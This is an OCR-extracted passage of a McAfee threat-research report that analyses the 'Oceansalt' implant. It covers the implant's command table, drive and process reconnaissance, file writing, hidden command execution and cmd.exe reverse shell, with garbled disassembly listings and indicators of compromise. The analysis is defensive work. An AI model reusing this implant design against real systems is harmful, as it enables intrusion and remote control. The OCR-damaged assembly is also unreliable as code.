dd offset send_commands_to_reverse_shell_loc
dd offset cleanup_ipc_pipes_for_reverse_shell loc
dd offset test _send recv_loc

Figure 24. Command index table showing Oceansalt’s capabilities.
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receive_and_execute_commands_from_CnC: CODE XREF: WinMain{x,x,x,x)+33D}j

push ¢} ; flags

push 184h ; len

lea eax, [ebp+Dst]

push eax ; buf

push 5 5 5

call _recv_and_decode_

add esp, 16h

test eax, eax

jle loc_1342473

mowv eax, [ebp+Dst]

dec eax

cmp eax, BBh ; switch 12 cases based on command ID in eax
ja default_case ; jumptable 08482364 default case
jmp ds:command_index_table[eax#*4] ; switch jump

CODE #REF: WinMain(x,x,x,x)+234Tj
DATA XREF: .text:command_index_tablejo

send_drive_info_loc:

push s jumptable 88482364 case B
call send_drive_info
jmp loc_134244D
send_file_info_loc: ; CODE XREF: WinMain(x,x,x,x)+2341j
; DATA XREF: .text:command_index_tablejo
lea eax, [ebp+CmdLine] ; jumptable 88482364 case 1
push eax ; 1pFileMame
push 5 5 5
tdll _send_file_infu_
add esp, &
jmp default_case ; jumptable 08482364 default case
execute_command_loc: ; CODE XREF: WinMain(x,x,x,x)+234Tj
; DATA XREF: .text:command_index_tablejo
lea eax, [ebp+CmdLine] ; jumptable 88482364 case 2
push eax ; 1pCmdLine
push s ;5
call _winexec_file_
add esp, 8
jmp default_case ; jumptable 88482364 default case
delete_file_loc: ; CODE XREF: WinMain(x,x,x,x)+2341j
; DATA XREF: .text:command_index_tablejo
lea eax, [ebp+CmdLine] ; jumptable 88482364 case 3
push eax ; 1pFileHame
push s Sl Xy
tdll _delele file
add esp, &
jmp default_case ; jumptable 88482364 default case
write_file_loc: ; CODE XREF: WinMain(x,x,x,x)+2341j
; DATA XREF: .text:command_index_tablejo
push s ; jumptable 88482364 case &4
call _write_file_to_disk_
jmp short loc_134244D

Figure 25. Oceansalt’'s command execution functionality.
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0x0: Drive recon POEK N s AL
push A ; D=l
The control server sends this command code to o R e
: ; ; call ds:GetLogicalbrives
Oceansalt to extract drive information from the il e n g ot
endpoint. The format of the drive information: il e <
push =hx
#<Drive letter>:<Drive type><Drive _ :u-t:: :a:: E-::I::""Irlm“r_h”u.'k]
: ush esi
letter>:<Drive type>...# Fin: | ads
ROy [ebp+var_1uh], ecx
Lita mai, [rexed]
lea very [ewx=0]
N To: 136 145A: ; CODE XREF : semd drive inFos1111§
Legend Description s —
<Drive_letter> A,B,C,D,E, etc., representing all logical drives on ;:Et ::::1;?:“?
the system test al, 1
. z Loc_13%14E7
<Drive_type> 0 =DRIVE_REMOVABLE '!,.,. s, e
1 =DRIVE_FIXED EHI [ebprvar F], 3fh
2 =DRIVE CDROM e [ebprRoolPFalliHame], al
_ - lea eax, [ebprRootPathHane]
3 = DRIVE_REMOTE push gax : 1pkeotPathMame
call ds:GetDriveTypen
Chp eax, PEIVE HEMUVARELE
jnr shorl drive nol resovables
Hur whx, rehx
imp short print_info_on_drive
drive_not_removable: ; LUDE XREF: send_drive_inFo+85Tj
chp ras, DRIVE FISED
jmr short drive ool Fixed
Tira ehx, [rax=2]
imp short print_info_on_drive
drive_not_tixed: ; CODE XREF: send_drive_inFo+ynTj
[HTH max, DRIUVE CDROH
jmer short drive aol cdreon
lea ebx, [wax-3]
imp ghart print info an derive
drive_not_cdron: : DODE XREF: send_drive_infoe9CTj
cap eax, DRIVE_KEMUTE

chovz  ebx, esi

print info on driwve: ; DODE XRFF: send drive info+«BFTj
1 send_drive_infoe99ty (..
push ebx
eax, [ebpeRootPathHane ]
eax
sax, [ehpeDest]
nFFuel Formal HEl 4 1
=a : Bl
_sprinti

Figure 26. Oceansalt gathering drive information.
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0x1: File recon
Sends the following information about a specific file (or

file pattern) specified by the control server:

= Filename

= Type of file on disk, for example, file or folder

= “OK" if file was found on the location

= File creation time in format <YYYY-mm-DD HH:MM:SS>

0x2: Command execute

Executes a command line using WinExec(). The
command line is provided by the control server along
with the command number. For example:

<DWORD representing command
number><command line to be executed>
02 00 00 00 C:\Windows\system32\calc.exe

The command line is executed with a hidden window
(using the SW_HIDE option for WinExec()).

0x3: File delete

= Deletes a file specified by the control server from the
disk

= Once an operation is completed, the implant sends
a"0" (in ASCIl) to the control server to indicate the
successful execution of the command

= |f the operation fails, Oceansalt sends a “1” (in ASCII) to
indicate failure

0x4: File write

= Creates a file specified by a file path provided by the
control server, which also provides the content to be
written to the file path

= |f the file write is successful, Oceansalt sends the
keyword “upfileok” indicating success

= |f the file write fails, the implant sends the keyword
“upfileer” indicating failure

push rhp

RO shp, esp

push SW_MIDE + uCmdshow
push [ebpelpCmdline] ; 1pCmdLine
call ds :MinCxec

push [} 1 Flags
push 2 3 lem

Cp rax, 31 3 Feturn value is gt 31 if WinExec succeeds
ie short winexec Failed

push oFFset a@ N

push [ebpes] HEE

call _encode_and_send_

i esp, 16N

pop rhp

winexec_failed:
push of Fsel al

push [rbpes] FE
call _encade_and_send_
aid aEp, 10k

pop rhp

retn

_uinexec_file_ endp

Figure 27. Oceansalt's command execution capability.

: CODE WREF: _winexec_file_s151]
P

25  'Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group



26

REPORT

0x6: Process recon

= Sends the name and ID for every process running on
the system to the control server

= Process data is sent via individual packets, that is, one
packet per process

push eul
push edi
push [ ] : EhdfFrocessin
Push 2 i OwF lags
Fy B nay [ebppe duSise], 1208
call Createlamlhel pi?Snapdsr
now e, ean
L] now [ebpewar_ 8], 1
lea ea, [Ehpspe
push Ean : lppe
push il : himapshot
call Processadfirst
oy esl, [ebpes]
Egst N, AN
z short loc_1381CC%
y short loc_ 1381040
Ll airign 1mn
loc_13%1CAME: i COBE XREF: _send_process_imFo_«aST)
i _sewl_process_inFo_s8T4]
®OF TAH, TaH
loc_1341C62: : COBE XREF: _send_process_imFo_s65} ]
FF now cl, [ebpseanspe.srEneFile]
lea ea, [Eawsi]
FF L1 [ebpreanspe . sTENeFiles1830], cl
kst €l,; £l
fnz chart ne_18kiRAd
naw wax, [ehpepe. thi2ProceislB]
nay [ebpepid], pax
loc_1341CAN: : CODE XREF: _send_process_imFo_sh6j]
push @ : Flags
pusk 1E8h i lem
lra ran, [rhpesrc]
push FaK HE 14
push esl H
call  _encode_amd_send_
push ] T Flags
P z : 1em
Iea wax, [Ebpebul]
push i HLT
push esd H ]
eall _recu_and_decade_
lea wax, [ebpehul]
push ez : Str

eall _Strtal _
add #gEp, Fhh
test A, eax
inz short loc_1341CR0

push @ : flags
push 2kl P lem
push  eau : buf
push  edi i s
call _recu_asd_decode_ ; get Filenane/path te wtie to
add ehEp, TN
lea wax, [ebpeliletine]
push ] : hiesplateFile
push  FILE_ATTRIBUTE _HORMAL ; &uwf lagsAndAttributes
push CREWTE AHIYE ¢ detreationbizposition
push L] ¢ IpSecwritpnttributes
push  FILE_SHa®l_WRITE ; deShareHode
push GERERIC_WRITE ¢ dwlesiredicoess
push  can : 1pFileHane
call s iEreatef iLleR
nay b, eax
test ehu, e
jnz short createfile succeis
push
push
push
push
call
add
pap
pop
[ PEx, [ebpevar &)
ELT PN, RBp
call secwrity check_cookie(x)
may eSp. BB
pap ehp
retn
createl ile_success: ; cood xE(r: _weite_file to_disk «521j
push  esi
maw eil, [ebpevar_ ]
test esi, esi
iz shart Lec 1381338
loc_13W1F00: ; COOM XELF: _write_file to_disk D&}
push aFFh s EL
1lea van, [ehpebst]
maw [ebpeNaifer], @
push @ T val
push wax § bst
call Lt
push @ : Flags
push  ABEN i lem
1ea vau, [ebpiBuFier]
push eau : buf
push wdi H
call _recw_aed_decode_ ; get data to wrile te File
add eip, 10N
cap wax, WITIEIFFR
iz short Lec_13n1342
push L] i lplwerlapped
1ea e, [edprHunberifBytesWritben)
sub esl, eax
push vEx i lpMenberOflytesiritien
push  eax : nHusserDFBYtesTobrite
lea wax, [ebpebuiier]
push  wax i lpluiier
push  ehu : hFile
call desritel ile
test AN, EAX
iz short Lec_1381369
test esi, esi
fjinz shart Dec 1381208
loc_13k133E: ; COGE DEEF: wrilte flle to_disk «TET§
push ehx & hoBject
call ds iClaseHandle
push L] i Flags
push L] 4 n
push offset pFileok [ "upFlleok”
loc 1He13kE: © CODE EREF: _write file to_disik_s112L§
push edl I =
eall _encade_and_gend_

Figure 28. Oceansalt’s file-writing capability.

ira ram, [Fhpepe]

push eax i lppe
push ead i himapshot
call  ProcessiItest

LeRt  wax, wax

jnx whort loc_1i41Cen

Figure 29. Oceansalt’s process listing

‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group

via its recon capability.



REPORT

0x7: Process terminate En G
» Terminates a process whose ID has been specified by R ko o O
the Contr0| server E:f:: E-I:H : ;‘::‘:ﬁl‘ﬂtlrillllll“\.

push of fsel hWritePipe ; hirilefipe
push offset hreadfipe ; hReadPipe

0x8: Reverse shell create nay [ebp+FipeAttributes .nlength], BCh
) ) Aoy [ehpsPipEat tribubes . IpSrcurityDescriptor ], A
= Opens a reverse shell from the infected endpoint to uru [ebp+Pipeat tributes bInheritHandle], 1
) ) ) call esl ; Createfipe
the control server using Windows pipes push @ 5 nilze
Iea eax, [shp+PipeAttributes]
= This reverse shell is based on cmd.exe. It can carry out Eﬂ,‘:: e B ;“';",:'.,.:: 'r:;:':',' $
. [TEA T ofFoel hReadPipe 2 ; hReadPipe
further recon and make changes to the endpoint. e R T g
nay eax, dword ptr ds:aCmd_exe ; “cnd.exe"”
Aoy dwnrd ptr [chpsbonmandl ine], cax
noy rax, deord plr dozabeml exe+b ; “rexe®
push aih : Size
noy [ebp+var_g], eax
lea eax, [ebp+itartuplinta]
pusl ] 7 Ual
push edaK : Dsk
call _menset
add esp, WCh
noy [enpeStartuplnto  dwF Lags], T8I0
mor CdM, CJdM
noy [ebprStartupInfo.uShowdindow], ax
nay eaxn, hHeadFipe_2
ROy [ehp+Startuplnta hEtdlnput ], cax
noy rax, hrilePipe
noy [ebprStartupInfo.hStdCrror], eax
noy [ebp+*StartupInfo.hitdiutput], eax
lea eax, [ebp*Frocessintornation]
pusl "X i 1pProcessInformal ion
lea eax, [ebpriLarlupInfo]
push Bau » 1pStartupinfo
push ] i lpturrentiirectory
pusi ] 3 IpEnuironment
puzlh ] : dulrealionFlags
push 1 : bInheritiandles
w i lplhreadfttributes
]

IpFrocessittributes

'
Tra rax, [ehpefnamand] ine]
pusl "X 7 1pLommanidl F
push ] : lpApplicalionHame
call ds:CreateFrocessi
push o ah i dwdilliseconds
call dsslecp
[ETeLT] ehx, ds:PeekHamedPipe
lea eay, [ebprBuffer]
push ] ; lpBytesLeftThisHessage
push ] + IpTntalHyteacAuail
pusl offuel BglesRead ; TpRyglesRead
push 208an : nBufrersize
push eay : lpOuffer
push hreadPipe ; hHamedPipe
oy [ebpewar 18], 1

call ebx ; PeckHamcdPipe

Figure 30. Oceansalt’s reverse-shell creation capability.

27  'Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group



28

REPORT

0x9: Reverse shell operate

Operates the reverse shell established using the
previous command code

Contains the commands sent by the control server to
the reverse shell that will be executed by cmd.exe on
the infected endpoint

Once the command has been executed, the output is
read from cmd.exe via a pipe and sent to the control
server

0XA: Reverse shell terminate

Closes the reverse shell by closing handles to the pipes
created for the shell’s inter-process communication

0XB: Connection test

Tests receive and send capabilities of the implant by
receiving data (0x7 bytes) from the control server and
sending it back

Persistence

Oceansalt has no persistence capabilities to remain on
the endpoint after the system reboots

This lack suggests other components in the infection
chain may ensure persistence and carry out other
malicious activities

Conclusion

Based on our analysis, the McAfee Advanced Threat
Research team has named this global threat Operation
Oceansalt. This operation has focused on targets in
South Korea and other countries with new malware that
has roots in Comment Crew activity from 2010.

Our research shows that Comment Crew’'s malware in
part lives on in different forms employed by another
advanced persistent threat group operating primarily
against South Korea. This research represents how
threat actors including nation-states might collaborate
on their campaigns. McAfee continues to monitor the
threat landscape in Asia and around the world to track
the evolution of known groups and changes to their
techniques.
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McAfee Coverage

Generic.dx!tjz
RDN/Generic.grp
RDN/Generic.ole
RDN/Generic.grp (trojan)
RDN/Trojan-FQBD
RDN/Generic.RP

Indicators of Compromise
MITRE ATT&CK™ Techniques

Scripting

Spear phishing attachment
Automated collection
Command-line interface
Network share discovery
Process discovery

File and directory discovery
Data from local system

Data from removable media
Data from network shared drive

Exfiltration over control server channel

IP addresses

158.69.131.78
172.81.132.62
27102112179
211.104.160.196

Hashes

fc121db04067cffbed04d7403c1d222d376fa7ba
832d5e6ebd9808279ee3e59ba4b5b0e884b859a5
be4fbb5a4b32db20a914cad5701f5c7ba51571b7
1f70715e86a2fcc1437926ecfaeadc53ddced1c9
dd3fb2750da3e8fc889cd1611117b02d49cf17f7
583879cfaf735fa446be5bfcbcc9e580bf542¢8¢
ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36
d72bc671583801c3c65ac1a96bb75c6026e06a73
e5c6229825f11d5a5749d3f2fe7acbe074cha77c
9fedbfdd258ecedb676b9de4e23b86b1695c4ele
281a13ech674de42f2e8fdaeabe6f46a5436c685
42192bb852d696d55da25b9178536de6365f0e68
12a9faa96balbe8a73e73be72ef1072096d964fb
0ae167204c841bdfd3600dddf2c9c185b17ac6d4
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About McAfee

McAfee is the device-to-cloud cybersecurity company.

Inspired by the power of working together, McAfee
creates business and consumer solutions that make
our world a safer place. By building solutions that
work with other companies' products, McAfee helps
businesses orchestrate cyber environments that are
truly integrated, where protection, detection, and
correction of threats happen simultaneously and
collaboratively. By protecting consumers across all
their devices, McAfee secures their digital lifestyle
at home and away. By working with other security
players, McAfee is leading the effort to unite against
cybercriminals for the benefit of all.

www.mcafee.com.

2821 Mission College Blvd.
Santa Clara, CA 95054
888.847.8766
www.mcafee.com
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Together is power.

About McAfee Labs and Advanced Threat
Research

McAfee Labs, led by McAfee Advanced Threat
Research, is one of the world's leading sources for
threat research, threat intelligence, and cybersecurity
thought leadership. With data from millions of sensors
across key threats vectors—file, web, message, and
network— McAfee Labs and McAfee Advanced Threat
Research deliver real-time threat intelligence, critical
analysis, and expert thinking to improve protection and
reduce risks.

www.mcafee.com/us/mcafee-labs.aspx.
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